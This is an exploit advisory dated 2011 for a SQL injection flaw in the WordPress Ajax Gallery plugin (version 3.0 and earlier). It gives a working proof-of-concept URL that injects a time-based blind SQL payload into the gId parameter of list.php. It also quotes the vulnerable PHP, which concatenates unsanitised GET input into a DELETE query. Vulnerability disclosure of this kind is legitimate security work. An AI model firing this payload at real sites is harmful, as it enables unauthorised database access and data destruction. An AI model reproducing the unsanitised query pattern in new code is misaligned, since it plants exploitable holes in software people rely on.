WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability

# Exploit Title: WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability # Date: 2011-08-18 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/ajaxgallery.3.0.zip # Version: 3.0 (tested) --- PoC --- http://www.site.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code --------------- if( isset( $_GET[ 'delete' ]) && isset( $_GET['gId'] ) ){ $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name='agItem' and option_id=".$_GET['gId'] ); echo "<div id='message' class='updated fade'><p><strong>Galeria eliminada</strong></p></div>"; }